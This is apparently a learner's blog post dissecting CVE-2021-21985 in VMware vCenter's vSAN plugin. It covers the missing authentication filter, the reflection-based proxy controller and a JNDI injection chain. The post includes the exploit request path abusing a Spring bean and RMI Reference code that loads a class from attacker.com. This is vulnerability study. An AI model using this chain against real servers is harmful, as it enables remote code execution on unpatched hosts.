Intro
The exploitation of this RCE consists of two parts, one being the lack of authentication validation to h5-vsan
endpoint, and another being the unsafe reflection usage in Java which then caused a JNDI injection. I was not smart enough to come up with the JDNI attack chain, but certainly learned a lot while attempting to understand how the attack chain works.
Preparation
The setup was definitely a pain though there is nothing too much to it. First I need to setup a ESXi server, then the VSphere client, I was using the Linux version. After all is done, I can go look for the vulnerable package.
As mentioned in the original VMware announcement, the affected service was the vsan healthcheck
plugin, which is enabled by default. Then following the instruction on how to mitigate the issue, I found the vsan-h5-client.zip

Now to copy this file to my host machine, one thing about the VMware Phonton system is it has really strict firewall rules, and despite being a UNIX system, the binaries on the machine is limited. I could use the package manager on Phonton OS tdnf
to install packages, but didn’t pull it off. Eventually I just ran a Python3 HTTP server and transfer files that way.
Upon unzipping there are some Jar and War files. War files are essentially Zip files, while Jar files are Java archive files, containing Java metadata as well as compiled Java classes. I used jd-gui
to decompile those Jar files.
Authentication Bypass
I guess it’s not really a bypass since there was no validation in the first place. The problem was in WEB-INF/web.xml
in h5-vsan-context.jar
. This web.xml
defines some metadata as well as configuration to the package, and from the following snippet of file we can see how the request is being mapped.
<servlet-mapping>
<servlet-name>springServlet</servlet-name>
<url-pattern>/rest/*</url-pattern>
</servlet-mapping>
<!-- required filter to manage http sessions -->
<filter>
<filter-name>sessionManagementFilter</filter-name>
<filter-class>com.vmware.vise.security.SessionManagementFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>sessionManagementFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
So all the requests visiting https://<ip>/<vsna-plugin>/rest/*
will be handled by springServlet
, without any authentication checks. And now look at the fixed version:
<servlet-mapping>
<servlet-name>springServlet</servlet-name>
<url-pattern>/rest/*</url-pattern>
</servlet-mapping>
<!-- required filter to manage http sessions -->
<filter>
<filter-name>sessionManagementFilter</filter-name>
<filter-class>com.vmware.vise.security.SessionManagementFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>sessionManagementFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<filter>
<filter-name>authenticationFilter</filter-name>
<filter-class>com.vmware.vsan.client.services.AuthenticationFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>authenticationFilter</filter-name>
<url-pattern>/rest/*</url-pattern>
</filter-mapping>
We can see there now is an authentication check. Now we know the /rest/*
is vulnerable, the next part is where is the entrance for h5-vsan
? In /META-INF/MANIFEST.MF
there are some clues.
Manifest-Version: 1.0
Bundle-SymbolicName: com.vmware.vsan.client.h5-vsan-context
Bundle-Name: h5-vsan-context
Bundle-Version: 6.0.0.0-SNAPSHOT
Require-Bundle: com.vmware.vsan.client.h5-vsan-service
Bundle-ManifestVersion: 2
Web-ContextPath: ui/h5-vsan
So the complete URL to the vulnerable endpoints would be: https://<ip>/ui/h5-vsan/rest/*
.
Unsafe Reflection
In Java Spring webapps, routings are usually handled by @RequestMapping
, and by looking for this very string, I found a few candicates.

And the most interesting of all is this ProxygenController.java
.
Below are the relavant codes,
@Controller
@RequestMapping({"/proxy"})
public class ProxygenController extends RestControllerBase {
private static final Logger logger = LoggerFactory.getLogger(ProxygenController.class);
@Autowired
private BeanFactory beanFactory;
@Autowired
private MessageBundle messages;
@RequestMapping(value = {"/service/{beanIdOrClassName}/{methodName}"}, method = {RequestMethod.POST}, consumes = {"application/json"}, produces = {"application/json"})
@ResponseBody
public Object invokeServiceWithJson(@PathVariable("beanIdOrClassName") String beanIdOrClassName, @PathVariable("methodName") String methodName, @RequestBody Map<String, Object> body) throws Exception {
List<Object> rawData = null;
try {
rawData = (List<Object>)body.get("methodInput");
} catch (Exception e) {
logger.error("service method failed to extract input data", e);
return handleException(e);
}
return invokeService(beanIdOrClassName, methodName, null, rawData);
}
@RequestMapping(value = {"/service/{beanIdOrClassName}/{methodName}"}, method = {RequestMethod.POST}, consumes = {"multipart/form-data"}, produces = {"application/json"})
@ResponseBody
public Object invokeServiceWithMultipartFormData(@PathVariable("beanIdOrClassName") String beanIdOrClassName, @PathVariable("methodName") String methodName, @RequestParam("file") MultipartFile[] files, @RequestParam("methodInput") String rawData) throws Exception {
List<Object> data = null;
try {
Gson gson = new Gson();
data = (List<Object>)gson.fromJson(rawData, List.class);
} catch (Exception e) {
logger.error("service method failed to extract input data", e);
return handleException(e);
}
return invokeService(beanIdOrClassName, methodName, files, data);
}
private Object invokeService(String beanIdOrClassName, String methodName, MultipartFile[] files, List<Object> data) throws Exception {
try {
Object bean = null;
String beanName = null;
Class<?> beanClass = null;
try {
beanClass = Class.forName(beanIdOrClassName);
beanName = StringUtils.uncapitalize(beanClass.getSimpleName());
} catch (ClassNotFoundException classNotFoundException) {
beanName = beanIdOrClassName;
}
try {
bean = this.beanFactory.getBean(beanName);
} catch (BeansException beansException) {
bean = this.beanFactory.getBean(beanClass);
}
byte b;
int i;
Method[] arrayOfMethod;
for (i = (arrayOfMethod = bean.getClass().getMethods()).length, b = 0; b < i; ) {
Method method = arrayOfMethod[b];
if (!method.getName().equals(methodName)) {
b++;
continue;
}
ProxygenSerializer serializer = new ProxygenSerializer();
Object[] methodInput = serializer.deserializeMethodInput(data, files, method);
Object result = method.invoke(bean, methodInput);
Map<String, Object> map = new HashMap<>();
map.put("result", serializer.serialize(result));
return map;
}
} catch (Exception e) {
logger.error("service method failed to invoke", e);
return handleException(e);
}
logger.error("service method not found: " + methodName + " @ " + beanIdOrClassName);
return handleException(null);
}
We see, to get to this file, we need to visit https://<ip>/ui/h5-vsan/rest/proxy/...
. And this service requires two parameters, one being the bean or class name, and the other one being the method name.
Then according to the request content type, it calls the invokeService
function, which takes the input value, passes them into the method.invoke
function. This method.invoke
is a reflection feature in the Java language, and it takes the method name and method input, then run it. And guess what, we can control the class name, method name, and the method input!
Unfortunately, things are not that easy. Before the code throws everything into the invoke function, it does check if the class is in the allowed beans list.
Spring Beans
I have to say, Java is way beyong my comfort zone, and I really have little knowledge about Java webapps. Spring is a framework for Java, and not to be confused with Spring Boot. Spring Boot is also a Java framework, but it’s based on Spring, and it focus on Rest APIs mainly.
How I understand the bean in Spring is: before we need to create a class and handle it in Java code, but now with Spring, we can define a bean with the property of a certain class and let Spring handles all the processes for us. Beans are defined in a XML file, and the entity looks like <bean id="..." class="..."></bean>
.
There can be more attributes added to the beans, but the most basic type of bean would only require a name\id and a class name.
…I hope I’m saying that right. But anyway, that’s how I understand it and it makes sense to me.
Now go back to the invokeService
function, we see classes proviced by us will be checked for valid beans entries. And that makes our work tremendously hard, in order to get code execution, we have to find the method in class which is defined in the beans list. That took me forever, and I never found it. I still believe it’s possible as I am writing this blog, but as inexpreienced as I am, I give up for now.
According To The Exploit…
The real poc was published by iswin. Now looking at the URL is sending requests to:
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject HTTP/1.1
We already know the from prior analysis that the class is &vsanProviderUtils_setVmodlHelper
and the method is setTargetObject
, but…, how? There is no way &vsanProviderUtils_setVmodlHelper
be a valid Java class name, but I can find vsanProviderUtils
is. And it turns out it has something to do with the Spring bean representation.
In the getBean
function, when a bean name is provided, it will obviously return the bean by the name. But if there is a &
in front of the bean name, it will just return the original class defined in the bean. So if we look for the bean name of vsanProviderUtils_setVmodlHelper
:

We see the class for this very bean is org.springframework.beans.factory.config.MethodInvokingFactoryBean
And from this website, we can see some methods associated with this class.
Some key methods in this class are:
setTargetObject
setTargetClass
setTargetMethod
setStaticMethod
setArguments
prepare
invoke
I wanted to to try out an exploit without doing JNDI injection, so I turned my attention to the setTargetMethod
and setTargetClass
methods, but I can’t pass a class object in JSON as the setTargetClass
requires a class object as argument. I also believe it requires a static method which the famous java.lang.Runtime.exec()
is not. The getRuntime()
method is, but the output cannot be serialized thus not possible. And no, setStaticMethod
also would not work, because… it sets a static method.
The prepare
and invoke
isn’t that special, it just sets up the method and executes it. There is a static method we can exploit, that’s the javax.naming.InitialContext.doLookup
method. We finish the exploit chain with a JNDI injection.
JNDI Injection
I will drop this first, I’m not a Java guy, and I’m just starting learning Java vulnerabilities, so my explanation can very well be inaccurate. But I tried. I read this article to improve my understanding of JNDI, check it out.
JNDI injection is a classic Java vulnerability. JNDI stands for Java Naming and Directory Interface, it works like a HTTP server, upon looking up it will get the correspond Java class and run it (Hope it’s the right explanation).

In the RMI case, we need to first create an interface, let’s say
public interface jndi extends Remote{
...
}
Then create a class which implements the interface we just created, like
public class jndiImpl extends UnicastRemoteObject implements jndi{
...
}
And create a registry so that the JNDI knows what to look for.
public static void main(String[] args){
...
Registry reg = LocalRegistry.createRegistry(1099)
// 1099 is the common RMI port.
jndi j = new jndiImpl();
reg.bind("jndi", j);
/* after binding to rmi://ip:1099/jndi,
* it can call whatever method in the
* original jndi class.
* /
}
I stole this image from the article I mentioned before, and it should make a lot sense.

But that doesn’t sound all that exciting, because the methods are being executed on the server side, and in this case we are the server side.
However, there is a way to dynamically load the class on client side. When we are getting a Reference
class, it will be loaded on the client side.
There are some crucial attributes in Reference
:
className
classFactory
classFactoryLocation
We can use
Reference ref = new Reference("refClass", "insClassName", "http://ip:port/");
ReferenceWrapper wrapper = new ReferenceWrapper(ref);
reg.bind("ref", wrapper);
such that when the client is looking up the object, it will look for the Reference
class in local, eventually the remote HTTP address we provided and dynamically load the class.
The complete attack chain using JNDI injection is:
- Client lookup
rmi://attacker.com:1099/ref
- On
rmi://attacker.com:1099/ref
we setReference("evilObject", "evilObject", "http://attacker.com/")
- Client will then try to look for
http://attacker.com/evilObject.class
- Since in
evilObject
we setup some malicious code, then upon hittinghttp://attacker.com/evilObject
, the class is dynamically loaded, our code get executed - Profit
Miscellaneous
Just to show you it really works… but I haven’t setup RMI services, but this should be sound enough.

I also mentioned earlier that we can use setStaticMethod
, while it does not help us get code execution, we can still call some static methods…

There are really a lot to learn in Java security, also kinda weird why there isn’t any Java webapps in CTFs.
One thought on “Learning JNDI Injection From CVE-2021-21985”